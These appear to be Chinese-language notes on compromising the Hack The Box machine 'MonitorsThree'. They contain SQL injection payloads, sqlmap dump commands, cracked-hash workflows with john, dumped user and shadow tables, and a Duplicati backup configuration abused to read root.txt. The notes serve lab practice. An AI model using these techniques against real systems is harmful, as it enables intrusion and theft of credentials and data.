HTB-MonitorsThree笔记

nmap -T4 -A -v  10.10.11.30

wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://monitorsthree.htb/" -H "Host: FUZZ.monitorsthree.htb" --hc 404 --hl 337

import requests# 目标URL（假设为表单提交的URL）url = 'http://monitorsthree.htb/forgot_password.php'# SQL注入测试的数据payloads = [    "' OR '1'='1",    "' OR '1'='1' --",    "' OR '1'='1' /*"]# 发送请求并显示响应for payload in payloads:    # 构造带有注入代码的数据    data = {'username': payload}    response = requests.post(url, data=data)    print(f"Testing payload: {payload}")    print(f"Status Code: {response.status_code}")    if response.status_code == 200:        print("Possible SQL Injection!")    else:        print("Failed to inject SQL.")    # 显示响应头    print("Response Headers:")    for header, value in response.headers.items():        print(f"{header}: {value}")    # 显示响应内容    print("Response Content:")    print(response.text)  # 或使用 response.content.decode() 如果响应是二进制的    print("n")  # 输出一个空行以便区分不同的测试结果

sqlmap -u http://monitorsthree.htb/forgot_password.php --forms --crawl 2 --dbs --all --batch

sqlmap -u http://monitorsthree.htb/forgot_password.php --forms --crawl 2 -D monitorsthree_db -T users --dump --batch

+----+-----------+-----------------------------+----------------------------------+-------------------+-----------------------+------------+------------+-----------+| id | username  | email                      | password                        | name              | position              | dob        | start_date | salary    |+----+-----------+-----------------------------+----------------------------------+-------------------+-----------------------+------------+------------+-----------+|  2 | admin    | [email protected]    | 31a181c8372e3afc59dab863430610e8 | Marcus Higgins    | Super User            | 1978-04-25 | 2021-01-12 | 320800.00 ||  5 | mwatson  | [email protected]  | c585d01f2eb3e6e1073e92023088a3dd | Michael Watson    | Website Administrator | 1985-02-15 | 2021-05-10 |  75000.00 ||  6 | janderson | [email protected] | 1e68b6eb86b45f6d92f8f292428f77ac | Jennifer Anderson | Network Engineer      | 1990-07-30 | 2021-06-20 |  68000.00 ||  7 | dthompson | [email protected] | 633b683cc128fe244b00f176c8a950f5 | David Thompson    | Database Manager      | 1982-11-23 | 2022-09-15 |  83000.00 |+----+-----------+-----------------------------+----------------------------------+-------------------+-----------------------+------------+------------+-----------+

john --wordlist=/usr/share/wordlists/rockyou.txt hash --format=Raw-MD5

+----+----------+----------------------------------+-------+---------------+---------------+----------------------+-----------------+-----------+-----------+--------------+----------------+------------+---------------+--------------+--------------+------------------------+---------+------------+-----------+------------------+--------+-----------------+----------+-------------+| id | username | password                         | realm | full_name     | email_address | must_change_password | password_change | show_tree | show_list | show_preview | graph_settings | login_opts | policy_graphs | policy_trees | policy_hosts | policy_graph_templates | enabled | lastchange | lastlogin | password_history | locked | failed_attempts | lastfail | reset_perms |+----+----------+----------------------------------+-------+---------------+---------------+----------------------+-----------------+-----------+-----------+--------------+----------------+------------+---------------+--------------+--------------+------------------------+---------+------------+-----------+------------------+--------+-----------------+----------+-------------+|  1 | admin    | 21232f297a57a5a743894a0e4a801fc3 |     0 | Administrator |               | on                   | on              | on        | on        | on           | on             |          2 |             1 |            1 |            1 |                      1 | on      |         -1 |        -1 | -1               |        |               0 |        0 |           0 ||  3 | guest    | 43e9a4ab75570f5b                 |     0 | Guest Account |               | on                   | on              | on        | on        | on           | 3              |          1 |             1 |            1 |            1 |                      1 |         |         -1 |        -1 | -1               |        |               0 |        0 |           0 |+----+----------+----------------------------------+-------+---------------+---------------+----------------------+-----------------+-----------+-----------+--------------+----------------+------------+---------------+--------------+--------------+------------------------+---------+------------+-----------+------------------+--------+-----------------+----------+-------------+

+----+----------+--------------------------------------------------------------+-------+---------------+--------------------------+----------------------+-----------------+-----------+-----------+--------------+----------------+------------+---------------+--------------+--------------+------------------------+---------+------------+-----------+------------------+--------+-----------------+----------+-------------+| id | username | password                                                     | realm | full_name     | email_address            | must_change_password | password_change | show_tree | show_list | show_preview | graph_settings | login_opts | policy_graphs | policy_trees | policy_hosts | policy_graph_templates | enabled | lastchange | lastlogin | password_history | locked | failed_attempts | lastfail | reset_perms |+----+----------+--------------------------------------------------------------+-------+---------------+--------------------------+----------------------+-----------------+-----------+-----------+--------------+----------------+------------+---------------+--------------+--------------+------------------------+---------+------------+-----------+------------------+--------+-----------------+----------+-------------+|  1 | admin    | $2y$10$tjPSsSP6UovL3OTNeam4Oe24TSRuSRRApmqf5vPinSer3mDuyG90G |     0 | Administrator | [email protected] |                      |                 | on        | on        | on           | on             |          2 |             1 |            1 |            1 |                      1 | on      |         -1 |        -1 | -1               |        |               0 |        0 |   436423766 ||  3 | guest    | $2y$10$SO8woUvjSFMr1CDo8O3cz.S6uJoqLaTe6/mvIcUuXzKsATo77nLHu |     0 | Guest Account | [email protected]  |                      |                 | on        | on        | on           |                |          1 |             1 |            1 |            1 |                      1 |         |         -1 |        -1 | -1               |        |               0 |        0 |  3774379591 ||  4 | marcus   | $2y$10$Fq8wGXvlM3Le.5LIzmM9weFs9s6W2i1FLg3yrdNGmkIaxo79IBjtK |     0 | Marcus        | [email protected] |                      | on              | on        | on        | on           | on             |          1 |             1 |            1 |            1 |                      1 | on      |         -1 |        -1 |                  |        |               0 |        0 |  1677427318 |+----+----------+--------------------------------------------------------------+-------+---------------+--------------------------+----------------------+-----------------+-----------+-----------+--------------+----------------+------------+---------------+--------------+--------------+------------------------+---------+------------+-----------+------------------+--------+-----------------+----------+-------------+3 rows in set (0.000 sec)

john --wordlist=/home/kali/rockyou.txt marcus

{  "CreatedByVersion": "2.0.8.1",  "Schedule": null,  "Backup": {    "ID": "26",    "Name": "pwned",    "Description": "",    "Tags": [],    "TargetURL": "file:///source/home/marcus/",    "DBPath": "/config/AWFVXLECNV.sqlite",    "Sources": [      "/source/root/root.txt"    ],    "Settings": [      {        "Filter": "",        "Name": "encryption-module",        "Value": "",        "Argument": null      },      {        "Filter": "",        "Name": "compression-module",        "Value": "zip",        "Argument": null      },      {        "Filter": "",        "Name": "dblock-size",        "Value": "50mb",        "Argument": null      },      {        "Filter": "",        "Name": "--no-encryption",        "Value": "true",        "Argument": null      }    ],    "Filters": [],    "Metadata": {      "LastBackupDate": "20240825T091022Z",      "BackupListCount": "1",      "TotalQuotaSpace": "8350261248",      "FreeQuotaSpace": "2258087936",      "AssignedQuotaSpace": "-1",      "TargetFilesSize": "1961",      "TargetFilesCount": "3",      "TargetSizeString": "1.92 KB",      "SourceFilesSize": "33",      "SourceFilesCount": "1",      "SourceSizeString": "33 bytes",      "LastBackupStarted": "20240825T091022Z",      "LastBackupFinished": "20240825T091022Z",      "LastBackupDuration": "00:00:00.3523360",      "LastCompactDuration": "00:00:00.0011050",      "LastCompactStarted": "20240825T091022Z",      "LastCompactFinished": "20240825T091022Z",      "LastRestoreDuration": "00:00:00.1340530",      "LastRestoreStarted": "20240825T091048Z",      "LastRestoreFinished": "20240825T091049Z"    },    "IsTemporary": false  },  "DisplayNames": {    "/source/root/root.txt": "root.txt"  }}

root:$y$j9T$3TDQ3GS5lSkNwiN4EsxVB/$Jyu3CWLTQ4mIypw/03JOtPle6vdpaoY/x6J9brbV9P4:19869:0:99999:7:::daemon:*:19579:0:99999:7:::bin:*:19579:0:99999:7:::sys:*:19579:0:99999:7:::sync:*:19579:0:99999:7:::games:*:19579:0:99999:7:::man:*:19579:0:99999:7:::lp:*:19579:0:99999:7:::mail:*:19579:0:99999:7:::news:*:19579:0:99999:7:::uucp:*:19579:0:99999:7:::proxy:*:19579:0:99999:7:::www-data:*:19579:0:99999:7:::backup:*:19579:0:99999:7:::list:*:19579:0:99999:7:::irc:*:19579:0:99999:7:::gnats:*:19579:0:99999:7:::nobody:*:19579:0:99999:7:::_apt:*:19579:0:99999:7:::systemd-network:*:19579:0:99999:7:::systemd-resolve:*:19579:0:99999:7:::messagebus:*:19579:0:99999:7:::systemd-timesync:*:19579:0:99999:7:::pollinate:*:19579:0:99999:7:::sshd:*:19579:0:99999:7:::syslog:*:19579:0:99999:7:::uuidd:*:19579:0:99999:7:::tcpdump:*:19579:0:99999:7:::tss:*:19579:0:99999:7:::landscape:*:19579:0:99999:7:::fwupd-refresh:*:19579:0:99999:7:::usbmux:*:19861:0:99999:7:::marcus:$y$j9T$E2hoLeuzugmRkxli4l2tW0$yW1Z2shW601aB1eqvybmrTri2Z6X6l9Wz5IIhK89Dd2:19861:0:99999:7:::lxd:!:19861::::::mysql:!:19861:0:99999:7:::Debian-snmp:!:19861:0:99999:7:::dnsmasq:*:19863:0:99999:7:::_laurel:!:19954::::::